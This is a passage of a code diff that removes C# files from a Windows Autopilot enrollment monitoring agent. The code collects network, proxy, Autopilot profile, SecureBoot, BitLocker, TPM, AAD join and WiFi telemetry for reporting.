||||
case 4: return "Low";
|
||||
case 5: return "Critical";
|
||||
case 6: return "Charging";
|
||||
case 7: return "Charging High";
|
||||
case 8: return "Charging Low";
|
||||
case 9: return "Charging Critical";
|
||||
default: return $"Unknown ({status})";
|
||||
}
|
||||
}
|
||||
|
||||
private static string ParseWmiDateTime(string wmiDate)
|
||||
{
|
||||
// WMI datetime format: yyyyMMddHHmmss.ffffff+zzz (e.g., "20240115000000.000000+000")
|
||||
if (string.IsNullOrEmpty(wmiDate) || wmiDate.Length < 8)
|
||||
return wmiDate;
|
||||
|
||||
try
|
||||
{
|
||||
var year = wmiDate.Substring(0, 4);
|
||||
var month = wmiDate.Substring(4, 2);
|
||||
var day = wmiDate.Substring(6, 2);
|
||||
return $"{year}-{month}-{day}";
|
||||
}
|
||||
catch
|
||||
{
|
||||
return wmiDate;
|
||||
}
|
||||
}
|
||||
|
||||
#endregion
|
||||
}
|
||||
}
|
||||
-789
@@ -1,789 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Management;
|
||||
using System.Net.NetworkInformation;
|
||||
using System.Text.Json;
|
||||
using System.Threading.Tasks;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Security;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.DeviceInfo
|
||||
{
|
||||
/// <summary>
|
||||
/// Partial: Network, proxy, Autopilot profile, security (SecureBoot, BitLocker, TPM, AAD join),
|
||||
/// ESP configuration, WiFi signal, and helper methods.
|
||||
/// </summary>
|
||||
public partial class DeviceInfoCollector
|
||||
{
|
||||
/// <summary>
|
||||
/// True when AAD join status shows "Azure AD Joined" with a non-empty userEmail
|
||||
/// that is NOT a provisioning placeholder (see <see cref="IsFooUserDetected"/>).
|
||||
/// Used by EnrollmentTracker to distinguish user-driven from device-only deployments
|
||||
/// when SkipUserStatusPage=true (which admins commonly set for user-driven enrollments too).
|
||||
/// </summary>
|
||||
public bool HasAadJoinedUser { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// True when the AAD join userEmail matches a known transient provisioning-account
|
||||
/// pattern (foouser@*, autopilot@*). These accounts appear during Autopilot
|
||||
/// pre-provisioning (WhiteGlove) and are NOT a real AAD join — they are a soft
|
||||
/// positive WhiteGlove indicator and feed into <see cref="AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion.WhiteGloveClassifier"/>.
|
||||
/// </summary>
|
||||
public bool IsFooUserDetected { get; private set; }
|
||||
|
||||
private void CollectNetworkAndDnsConfiguration()
|
||||
{
|
||||
try
|
||||
{
|
||||
var adapters = new List<Dictionary<string, object>>();
|
||||
var dnsServers = new List<Dictionary<string, object>>();
|
||||
|
||||
using (var searcher = new ManagementObjectSearcher(
|
||||
"SELECT Description, IPAddress, IPSubnet, DefaultIPGateway, MACAddress, DHCPEnabled, DHCPServer, DNSServerSearchOrder " +
|
||||
"FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True"))
|
||||
{
|
||||
foreach (ManagementObject obj in searcher.Get())
|
||||
{
|
||||
// Network adapter info
|
||||
var adapter = new Dictionary<string, object>
|
||||
{
|
||||
{ "description", obj["Description"]?.ToString() },
|
||||
{ "macAddress", obj["MACAddress"]?.ToString() },
|
||||
{ "dhcpEnabled", obj["DHCPEnabled"]?.ToString() },
|
||||
{ "dhcpServer", obj["DHCPServer"]?.ToString() }
|
||||
};
|
||||
|
||||
var ipAddresses = obj["IPAddress"] as string[];
|
||||
if (ipAddresses != null)
|
||||
adapter["ipAddresses"] = string.Join(", ", ipAddresses);
|
||||
|
||||
var subnets = obj["IPSubnet"] as string[];
|
||||
if (subnets != null)
|
||||
adapter["subnets"] = string.Join(", ", subnets);
|
||||
|
||||
var gateways = obj["DefaultIPGateway"] as string[];
|
||||
if (gateways != null)
|
||||
adapter["gateways"] = string.Join(", ", gateways);
|
||||
|
||||
adapters.Add(adapter);
|
||||
|
||||
// DNS info (extracted from the same result set)
|
||||
var servers = obj["DNSServerSearchOrder"] as string[];
|
||||
if (servers != null && servers.Length > 0)
|
||||
{
|
||||
dnsServers.Add(new Dictionary<string, object>
|
||||
{
|
||||
{ "adapter", obj["Description"]?.ToString() },
|
||||
{ "servers", string.Join(", ", servers) }
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
EmitDeviceInfoEvent("network_adapters", "Network adapters configuration",
|
||||
new Dictionary<string, object>
|
||||
{
|
||||
{ "adapterCount", adapters.Count },
|
||||
{ "adapters", adapters }
|
||||
});
|
||||
|
||||
EmitDeviceInfoEvent("dns_configuration", "DNS server configuration",
|
||||
new Dictionary<string, object>
|
||||
{
|
||||
{ "dnsEntries", dnsServers }
|
||||
});
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"EnrollmentTracker: failed to collect network/DNS config: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private void CollectProxyConfiguration()
|
||||
{
|
||||
try
|
||||
{
|
||||
var data = new Dictionary<string, object>();
|
||||
|
||||
using (var key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Internet Settings"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
data["proxyEnabled"] = key.GetValue("ProxyEnable")?.ToString() == "1";
|
||||
data["proxyServer"] = key.GetValue("ProxyServer")?.ToString();
|
||||
data["proxyOverride"] = key.GetValue("ProxyOverride")?.ToString();
|
||||
data["autoConfigUrl"] = key.GetValue("AutoConfigURL")?.ToString();
|
||||
}
|
||||
}
|
||||
|
||||
// Also check WinHTTP proxy
|
||||
using (var key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections"))
|
||||
{
|
||||
data["winHttpProxyConfigured"] = key?.GetValue("WinHttpSettings") != null;
|
||||
}
|
||||
|
||||
var proxyType = "Direct";
|
||||
if (data.ContainsKey("proxyEnabled") && (bool)data["proxyEnabled"])
|
||||
proxyType = "Proxy";
|
||||
else if (data.ContainsKey("autoConfigUrl") && data["autoConfigUrl"] != null)
|
||||
proxyType = "PAC";
|
||||
|
||||
data["proxyType"] = proxyType;
|
||||
|
||||
EmitDeviceInfoEvent("proxy_configuration", $"Proxy configuration: {proxyType}", data);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"EnrollmentTracker: failed to collect proxy config: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Reads the Autopilot profile from registry and detects enrollment type and Hybrid Join status.
|
||||
/// Returns enrollment type ("v1"/"v2") and whether the profile indicates Hybrid Azure AD Join.
|
||||
/// Note: AutopilotMode and DomainJoinMethod reflect profile capabilities (what is allowed),
|
||||
/// not the actual live enrollment state.
|
||||
/// </summary>
|
||||
private (string enrollmentType, bool isHybridJoin, int? autopilotMode) CollectAutopilotProfile()
|
||||
{
|
||||
var detectedType = "v1";
|
||||
var isHybridJoin = false;
|
||||
int? detectedAutopilotMode = null;
|
||||
|
||||
try
|
||||
{
|
||||
var data = new Dictionary<string, object>();
|
||||
|
||||
// Read JSON from AutopilotPolicyCache registry key (contains all Autopilot profile info)
|
||||
using (var key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Provisioning\AutopilotPolicyCache"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
// The registry key contains individual values that together form the Autopilot profile
|
||||
// Read all available values and add them to data dictionary
|
||||
foreach (var valueName in key.GetValueNames())
|
||||
{
|
||||
var value = key.GetValue(valueName);
|
||||
if (value != null)
|
||||
{
|
||||
// Store with original casing from registry
|
||||
var valueAsString = value.ToString();
|
||||
if (string.Equals(valueName, "PolicyJsonCache", StringComparison.OrdinalIgnoreCase) ||
|
||||
string.Equals(valueName, "CloudAssignedAadServerData", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
valueAsString = TryFormatJson(valueAsString);
|
||||
}
|
||||
|
||||
data[valueName] = valueAsString;
|
||||
}
|
||||
}
|
||||
|
||||
// Extract key values for enrollment type detection
|
||||
var deviceReg = data.ContainsKey("CloudAssignedDeviceRegistration")
|
||||
? data["CloudAssignedDeviceRegistration"]?.ToString()
|
||||
: null;
|
||||
var espEnabled = data.ContainsKey("CloudAssignedEspEnabled")
|
||||
? data["CloudAssignedEspEnabled"]?.ToString()
|
||||
: null;
|
||||
|
||||
// Determine enrollment type: WDP if DeviceRegistration=2 or ESP explicitly disabled
|
||||
if (deviceReg == "2" || espEnabled == "0")
|
||||
detectedType = "v2";
|
||||
else
|
||||
detectedType = "v1";
|
||||
|
||||
// --- Interpret AutopilotMode (profile capability, not live state) ---
|
||||
// 0 = User Driven, 1 = Self Deploying, 2 = Pre-Provisioning (White Glove)
|
||||
var autopilotModeStr = data.ContainsKey("AutopilotMode")
|
||||
? data["AutopilotMode"]?.ToString()
|
||||
: null;
|
||||
if (autopilotModeStr != null && int.TryParse(autopilotModeStr, out var autopilotMode))
|
||||
{
|
||||
detectedAutopilotMode = autopilotMode;
|
||||
// Only mode 0 is confirmed — modes 1, 2, 3+ are shown as raw integers
|
||||
// until their meaning is verified across all Autopilot profile variants.
|
||||
string modeLabel;
|
||||
switch (autopilotMode)
|
||||
{
|
||||
case 0: modeLabel = $"User Driven ({autopilotMode})"; break;
|
||||
default: modeLabel = $"{autopilotMode}"; break;
|
||||
}
|
||||
data["autopilotModeLabel"] = modeLabel;
|
||||
_logger.Info($"EnrollmentTracker: AutopilotMode={autopilotMode} ({modeLabel})");
|
||||
}
|
||||
|
||||
// --- Interpret CloudAssignedDomainJoinMethod ---
|
||||
// 0 = Entra Join (Azure AD Join), 1 = Hybrid Azure AD Join
|
||||
// This value may be a top-level registry value OR embedded in PolicyJsonCache JSON.
|
||||
var domainJoinMethodStr = data.ContainsKey("CloudAssignedDomainJoinMethod")
|
||||
? data["CloudAssignedDomainJoinMethod"]?.ToString()
|
||||
: null;
|
||||
|
||||
// Fallback: extract from PolicyJsonCache if not a top-level registry value
|
||||
if (domainJoinMethodStr == null && data.ContainsKey("PolicyJsonCache"))
|
||||
{
|
||||
try
|
||||
{
|
||||
var policyRaw = data["PolicyJsonCache"]?.ToString();
|
||||
if (!string.IsNullOrWhiteSpace(policyRaw))
|
||||
{
|
||||
using (var pDoc = System.Text.Json.JsonDocument.Parse(policyRaw))
|
||||
{
|
||||
if (pDoc.RootElement.TryGetProperty("CloudAssignedDomainJoinMethod", out var djmProp))
|
||||
{
|
||||
domainJoinMethodStr = djmProp.ToString();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Trace($"EnrollmentTracker: Failed to parse PolicyJsonCache for DomainJoinMethod: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
if (domainJoinMethodStr != null && int.TryParse(domainJoinMethodStr, out var domainJoinMethod))
|
||||
{
|
||||
string joinLabel;
|
||||
switch (domainJoinMethod)
|
||||
{
|
||||
case 0: joinLabel = "Entra Join"; break;
|
||||
case 1: joinLabel = "Hybrid Azure AD Join"; break;
|
||||
default: joinLabel = $"Unknown ({domainJoinMethod})"; break;
|
||||
}
|
||||
data["domainJoinMethodLabel"] = joinLabel;
|
||||
|
||||
// Hybrid Join is reliably indicated by DomainJoinMethod == 1
|
||||
isHybridJoin = domainJoinMethod == 1;
|
||||
}
|
||||
|
||||
data["isHybridJoin"] = isHybridJoin;
|
||||
|
||||
if (isHybridJoin)
|
||||
{
|
||||
_logger.Info("EnrollmentTracker: Hybrid Azure AD Join profile detected");
|
||||
}
|
||||
|
||||
_logger.Info($"EnrollmentTracker: Read {data.Count} values from AutopilotPolicyCache");
|
||||
}
|
||||
else
|
||||
{
|
||||
_logger.Warning("EnrollmentTracker: AutopilotPolicyCache registry key not found");
|
||||
}
|
||||
}
|
||||
|
||||
// Include enrollment type in autopilot_profile event data
|
||||
data["enrollmentType"] = detectedType;
|
||||
|
||||
EmitDeviceInfoEvent("autopilot_profile", "Autopilot profile configuration", data);
|
||||
|
||||
// Emit dedicated enrollment_type_detected event for easy filtering
|
||||
_emitEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "enrollment_type_detected",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "EnrollmentTracker",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = detectedType == "v2"
|
||||
? "Enrollment type: Autopilot v2 (Windows Device Preparation)"
|
||||
: "Enrollment type: Autopilot v1 (Classic ESP)",
|
||||
Data = new Dictionary<string, object>
|
||||
{
|
||||
{ "enrollmentType", detectedType },
|
||||
{ "CloudAssignedDeviceRegistration", data.ContainsKey("CloudAssignedDeviceRegistration") ? data["CloudAssignedDeviceRegistration"] : "n/a" },
|
||||
{ "CloudAssignedEspEnabled", data.ContainsKey("CloudAssignedEspEnabled") ? data["CloudAssignedEspEnabled"] : "n/a" },
|
||||
{ "detectionRule", detectedType == "v2"
|
||||
? (data.ContainsKey("CloudAssignedDeviceRegistration") && data["CloudAssignedDeviceRegistration"]?.ToString() == "2"
|
||||
? "CloudAssignedDeviceRegistration=2"
|
||||
: "CloudAssignedEspEnabled=0")
|
||||
: "default (no v2 indicators)" }
|
||||
}
|
||||
});
|
||||
|
||||
_logger.Info($"EnrollmentTracker: enrollment type detected: {detectedType}");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"EnrollmentTracker: failed to collect autopilot profile: {ex.Message}");
|
||||
}
|
||||
|
||||
return (detectedType, isHybridJoin, detectedAutopilotMode);
|
||||
}
|
||||
|
||||
private void CollectSecureBootStatus()
|
||||
{
|
||||
try
|
||||
{
|
||||
var data = new Dictionary<string, object>();
|
||||
|
||||
using (var key = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\SecureBoot\State"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
var value = key.GetValue("UEFISecureBootEnabled");
|
||||
data["uefiSecureBootEnabled"] = value != null && Convert.ToInt32(value) == 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
data["uefiSecureBootEnabled"] = false;
|
||||
data["note"] = "SecureBoot registry key not found";
|
||||
}
|
||||
}
|
||||
|
||||
// UEFI CA 2023 certificate deployment status (expires June 2026)
|
||||
using (var servicingKey = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\SecureBoot\Servicing"))
|
||||
{
|
||||
if (servicingKey != null)
|
||||
{
|
||||
data["uefiCA2023Status"] = servicingKey.GetValue("UEFICA2023Status")?.ToString() ?? "unknown";
|
||||
var capable = servicingKey.GetValue("WindowsUEFICA2023Capable");
|
||||
if (capable != null)
|
||||
data["windowsUefiCA2023Capable"] = Convert.ToInt32(capable);
|
||||
var error = servicingKey.GetValue("UEFICA2023Error");
|
||||
if (error != null && Convert.ToInt32(error) != 0)
|
||||
data["uefiCA2023Error"] = Convert.ToInt32(error);
|
||||
data["confidenceLevel"] = servicingKey.GetValue("ConfidenceLevel")?.ToString() ?? "unknown";
|
||||
}
|
||||
else
|
||||
{
|
||||
data["uefiCA2023Status"] = "notfound";
|
||||
}
|
||||
}
|
||||
|
||||
EmitDeviceInfoEvent("secureboot_status", $"SecureBoot: {data["uefiSecureBootEnabled"]}, CA2023: {data["uefiCA2023Status"]}", data);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"EnrollmentTracker: failed to collect SecureBoot status: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private void CollectBitLockerStatus()
|
||||
{
|
||||
try
|
||||
{
|
||||
var data = new Dictionary<string, object>();
|
||||
var volumes = new List<Dictionary<string, object>>();
|
||||
|
||||
using (var searcher = new ManagementObjectSearcher(
|
||||
new ManagementScope(@"\\.\root\CIMV2\Security\MicrosoftVolumeEncryption"),
|
||||
new ObjectQuery("SELECT DriveLetter, ProtectionStatus, ConversionStatus, EncryptionMethod FROM Win32_EncryptableVolume")))
|
||||
{
|
||||
foreach (ManagementObject obj in searcher.Get())
|
||||
{
|
||||
volumes.Add(new Dictionary<string, object>
|
||||
{
|
||||
{ "driveLetter", obj["DriveLetter"]?.ToString() },
|
||||
{ "protectionStatus", obj["ProtectionStatus"]?.ToString() },
|
||||
{ "conversionStatus", obj["ConversionStatus"]?.ToString() },
|
||||
{ "encryptionMethod", obj["EncryptionMethod"]?.ToString() }
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
data["volumes"] = volumes;
|
||||
data["systemDriveProtected"] = volumes.Any(v =>
|
||||
v["driveLetter"]?.ToString() == "C:" && v["protectionStatus"]?.ToString() == "1");
|
||||
|
||||
EmitDeviceInfoEvent("bitlocker_status", "BitLocker encryption status", data);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"EnrollmentTracker: failed to collect BitLocker status: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private void CollectTpmStatus()
|
||||
{
|
||||
try
|
||||
{
|
||||
var data = new Dictionary<string, object>();
|
||||
|
||||
using (var searcher = new ManagementObjectSearcher(
|
||||
new ManagementScope(@"\\.\root\CIMV2\Security\MicrosoftTpm"),
|
||||
new ObjectQuery("SELECT IsActivated_InitialValue, IsEnabled_InitialValue, IsOwned_InitialValue, ManufacturerIdTxt, ManufacturerVersion, SpecVersion FROM Win32_Tpm")))
|
||||
{
|
||||
foreach (ManagementObject obj in searcher.Get())
|
||||
{
|
||||
data["isActivated"] = obj["IsActivated_InitialValue"]?.ToString() == "True";
|
||||
data["isEnabled"] = obj["IsEnabled_InitialValue"]?.ToString() == "True";
|
||||
data["isOwned"] = obj["IsOwned_InitialValue"]?.ToString() == "True";
|
||||
data["manufacturerName"] = obj["ManufacturerIdTxt"]?.ToString();
|
||||
data["manufacturerVersion"] = obj["ManufacturerVersion"]?.ToString();
|
||||
|
||||
// SpecVersion is comma-separated: "2.0, 0, 1.59" → first element is the spec version
|
||||
var specVersion = obj["SpecVersion"]?.ToString();
|
||||
if (!string.IsNullOrEmpty(specVersion))
|
||||
{
|
||||
var parts = specVersion.Split(',');
|
||||
data["specVersion"] = parts[0].Trim();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (data.Count > 0)
|
||||
{
|
||||
EmitDeviceInfoEvent("tpm_status", $"TPM: {data["manufacturerName"]} v{data["manufacturerVersion"]}", data);
|
||||
}
|
||||
else
|
||||
{
|
||||
data["available"] = false;
|
||||
EmitDeviceInfoEvent("tpm_status", "TPM: not available", data);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"EnrollmentTracker: failed to collect TPM status: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private void CollectAadJoinStatus()
|
||||
{
|
||||
try
|
||||
{
|
||||
var data = new Dictionary<string, object>();
|
||||
|
||||
// Read AAD join info via shared helper. Placeholder users (foouser@, autopilot@)
|
||||
// are transient provisioning accounts and must NOT be treated as a real AAD join;
|
||||
// HasAadJoinedUser is only set for real user emails.
|
||||
if (AadJoinInfo.TryReadAadJoinedUser(out var userEmail, out var thumbprint, out var isPlaceholderUser))
|
||||
{
|
||||
// Still need TenantId — open the subkey directly when we have a thumbprint.
|
||||
if (!string.IsNullOrEmpty(thumbprint))
|
||||
{
|
||||
using (var joinInfoKey = Registry.LocalMachine.OpenSubKey(AadJoinInfo.JoinInfoRegistryPath))
|
||||
using (var subKey = joinInfoKey?.OpenSubKey(thumbprint))
|
||||
{
|
||||
data["tenantId"] = subKey?.GetValue("TenantId")?.ToString();
|
||||
}
|
||||
|
||||
data["userEmail"] = userEmail;
|
||||
data["joinType"] = "Azure AD Joined";
|
||||
data["thumbprint"] = thumbprint;
|
||||
|
||||
if (!string.IsNullOrWhiteSpace(userEmail))
|
||||
{
|
||||
if (isPlaceholderUser)
|
||||
{
|
||||
IsFooUserDetected = true;
|
||||
data["isFooUser"] = true;
|
||||
_logger.Info($"AAD join: placeholder user detected ({userEmail}) — pre-provisioning indicator, NOT a real AAD join");
|
||||
}
|
||||
else
|
||||
{
|
||||
HasAadJoinedUser = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
data["joinType"] = "Not Joined";
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
data["joinType"] = "Not Joined";
|
||||
}
|
||||
|
||||
object joinTypeValue;
|
||||
var joinType = data.TryGetValue("joinType", out joinTypeValue) ? joinTypeValue?.ToString() ?? "Unknown" : "Unknown";
|
||||
EmitDeviceInfoEvent("aad_join_status", $"AAD join: {joinType}", data);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"EnrollmentTracker: failed to collect AAD join status: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Reads ESP skip configuration from the enrollment FirstSync registry key.
|
||||
/// CSP SkipUserStatusPage/SkipDeviceStatusPage are written as DWORD:
|
||||
/// 0xFFFFFFFF = skip (ESP page not shown), 0 = show, key missing = unknown.
|
||||
/// We use defensive interpretation: non-null AND non-zero = skip.
|
||||
/// </summary>
|
||||
private (bool? skipUserStatusPage, bool? skipDeviceStatusPage) CollectEspConfiguration()
|
||||
{
|
||||
bool? skipUser = null;
|
||||
bool? skipDevice = null;
|
||||
string enrollmentGuid = null;
|
||||
|
||||
try
|
||||
{
|
||||
const string enrollmentsKeyPath = @"SOFTWARE\Microsoft\Enrollments";
|
||||
|
||||
using (var enrollmentsKey = Registry.LocalMachine.OpenSubKey(enrollmentsKeyPath))
|
||||
{
|
||||
if (enrollmentsKey == null)
|
||||
{
|
||||
_logger.Debug("EnrollmentTracker: Enrollments registry key not found — ESP config unknown");
|
||||
return (null, null);
|
||||
}
|
||||
|
||||
// Find the MDM enrollment entry (EnrollmentType == 6)
|
||||
foreach (var guid in enrollmentsKey.GetSubKeyNames())
|
||||
{
|
||||
using (var enrollmentKey = enrollmentsKey.OpenSubKey(guid))
|
||||
{
|
||||
if (enrollmentKey == null) continue;
|
||||
|
||||
var enrollmentType = enrollmentKey.GetValue("EnrollmentType");
|
||||
if (enrollmentType == null || Convert.ToInt32(enrollmentType) != 6)
|
||||
continue;
|
||||
|
||||
enrollmentGuid = guid;
|
||||
|
||||
// Read FirstSync subkey
|
||||
using (var firstSyncKey = enrollmentKey.OpenSubKey("FirstSync"))
|
||||
{
|
||||
if (firstSyncKey == null)
|
||||
{
|
||||
_logger.Debug($"EnrollmentTracker: FirstSync subkey not found for enrollment {guid}");
|
||||
break;
|
||||
}
|
||||
|
||||
var rawSkipUser = firstSyncKey.GetValue("SkipUserStatusPage");
|
||||
if (rawSkipUser != null)
|
||||
skipUser = Convert.ToInt32(rawSkipUser) != 0;
|
||||
|
||||
var rawSkipDevice = firstSyncKey.GetValue("SkipDeviceStatusPage");
|
||||
if (rawSkipDevice != null)
|
||||
skipDevice = Convert.ToInt32(rawSkipDevice) != 0;
|
||||
}
|
||||
|
||||
break; // Found the MDM enrollment entry
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var data = new Dictionary<string, object>
|
||||
{
|
||||
{ "source", "registry_firstsync" }
|
||||
};
|
||||
if (enrollmentGuid != null) data["enrollmentGuid"] = enrollmentGuid;
|
||||
if (skipUser.HasValue) data["skipUserStatusPage"] = skipUser.Value;
|
||||
if (skipDevice.HasValue) data["skipDeviceStatusPage"] = skipDevice.Value;
|
||||
|
||||
var summary = $"SkipUser={skipUser?.ToString() ?? "unknown"}, SkipDevice={skipDevice?.ToString() ?? "unknown"}";
|
||||
_logger.Info($"EnrollmentTracker: ESP configuration detected — {summary}");
|
||||
EmitDeviceInfoEvent("esp_config_detected", $"ESP configuration: {summary}", data);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"EnrollmentTracker: failed to collect ESP configuration: {ex.Message}");
|
||||
}
|
||||
|
||||
return (skipUser, skipDevice);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Collects active network interface details (name, type, link speed, MAC) using
|
||||
/// System.Net.NetworkInformation — instant, no process spawn.
|
||||
/// If the active interface is WiFi, fires off a separate async task to collect
|
||||
/// WiFi signal info via netsh (fire-and-forget, never blocks).
|
||||
/// </summary>
|
||||
private void CollectActiveNetworkInterfaceInfo()
|
||||
{
|
||||
try
|
||||
{
|
||||
var activeNic = FindActiveNetworkInterface();
|
||||
|
||||
if (activeNic == null)
|
||||
{
|
||||
EmitDeviceInfoEvent("network_interface_info", "No active network interface found",
|
||||
new Dictionary<string, object> { { "status", "no_active_interface" } });
|
||||
return;
|
||||
}
|
||||
|
||||
var data = new Dictionary<string, object>
|
||||
{
|
||||
{ "adapterName", activeNic.Name },
|
||||
{ "adapterDescription", activeNic.Description },
|
||||
{ "macAddress", activeNic.GetPhysicalAddress().ToString() },
|
||||
{ "interfaceType", activeNic.NetworkInterfaceType.ToString() },
|
||||
{ "linkSpeedMbps", activeNic.Speed / 1_000_000 },
|
||||
{ "interfaceId", activeNic.Id }
|
||||
};
|
||||
|
||||
var isWifi = activeNic.NetworkInterfaceType == NetworkInterfaceType.Wireless80211;
|
||||
data["connectionType"] = isWifi ? "WiFi" : "Ethernet";
|
||||
|
||||
var gateways = activeNic.GetIPProperties().GatewayAddresses;
|
||||
if (gateways.Count > 0)
|
||||
{
|
||||
var gwList = new List<string>();
|
||||
foreach (var gw in gateways)
|
||||
gwList.Add(gw.Address.ToString());
|
||||
data["gateways"] = string.Join(", ", gwList);
|
||||
}
|
||||
|
||||
var message = $"Active interface: {activeNic.Description} ({data["connectionType"]}, {data["linkSpeedMbps"]} Mbps)";
|
||||
EmitDeviceInfoEvent("network_interface_info", message, data);
|
||||
|
||||
// Fire-and-forget WiFi signal collection — separate event, never blocks
|
||||
if (isWifi)
|
||||
{
|
||||
Task.Run(() => CollectWiFiSignalInfo());
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"EnrollmentTracker: failed to collect active network interface info: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Finds the active network interface: Up, not Loopback/Tunnel, has a non-0.0.0.0 gateway.
|
||||
/// </summary>
|
||||
private static NetworkInterface FindActiveNetworkInterface()
|
||||
{
|
||||
try
|
||||
{
|
||||
var interfaces = NetworkInterface.GetAllNetworkInterfaces();
|
||||
foreach (var nic in interfaces)
|
||||
{
|
||||
if (nic.OperationalStatus != OperationalStatus.Up)
|
||||
continue;
|
||||
if (nic.NetworkInterfaceType == NetworkInterfaceType.Loopback ||
|
||||
nic.NetworkInterfaceType == NetworkInterfaceType.Tunnel)
|
||||
continue;
|
||||
|
||||
var ipProps = nic.GetIPProperties();
|
||||
foreach (var gw in ipProps.GatewayAddresses)
|
||||
{
|
||||
if (gw.Address.ToString() != "0.0.0.0")
|
||||
return nic;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// Caller handles null
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Collects WiFi signal info via netsh wlan show interfaces and emits a separate
|
||||
/// wifi_signal_info event. Designed to run as fire-and-forget via Task.Run —
|
||||
/// never blocks other collection. VMs without WiFi service simply get no event.
|
||||
/// </summary>
|
||||
private void CollectWiFiSignalInfo()
|
||||
{
|
||||
try
|
||||
{
|
||||
var psi = new ProcessStartInfo
|
||||
{
|
||||
FileName = SystemPaths.Netsh,
|
||||
Arguments = "wlan show interfaces",
|
||||
UseShellExecute = false,
|
||||
RedirectStandardOutput = true,
|
||||
RedirectStandardError = true,
|
||||
CreateNoWindow = true
|
||||
};
|
||||
|
||||
string output;
|
||||
using (var process = Process.Start(psi))
|
||||
{
|
||||
output = process.StandardOutput.ReadToEnd();
|
||||
process.WaitForExit(5000);
|
||||
}
|
||||
|
||||
if (string.IsNullOrEmpty(output))
|
||||
return;
|
||||
|
||||
var data = new Dictionary<string, object>();
|
||||
|
||||
foreach (var line in output.Split(new[] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries))
|
||||
{
|
||||
var trimmed = line.Trim();
|
||||
var colonIndex = trimmed.IndexOf(':');
|
||||
if (colonIndex < 0) continue;
|
||||
|
||||
var key = trimmed.Substring(0, colonIndex).Trim();
|
||||
var value = trimmed.Substring(colonIndex + 1).Trim();
|
||||
|
||||
if (key.Equals("SSID", StringComparison.OrdinalIgnoreCase) &&
|
||||
!key.Equals("BSSID", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
data["wifiSsid"] = value;
|
||||
}
|
||||
else if (key.Equals("Signal", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
if (int.TryParse(value.TrimEnd('%'), out var signal))
|
||||
data["wifiSignalPercent"] = signal;
|
||||
}
|
||||
else if (key.Equals("Radio type", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
data["wifiRadioType"] = value;
|
||||
}
|
||||
else if (key.Equals("Channel", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
if (int.TryParse(value, out var channel))
|
||||
data["wifiChannel"] = channel;
|
||||
}
|
||||
}
|
||||
|
||||
if (data.Count > 0)
|
||||
{
|
||||
var message = data.ContainsKey("wifiSsid")
|
||||
? $"WiFi: {data["wifiSsid"]}"
|
||||
: "WiFi signal info";
|
||||
if (data.ContainsKey("wifiSignalPercent"))
|
||||
message += $", Signal: {data["wifiSignalPercent"]}%";
|
||||
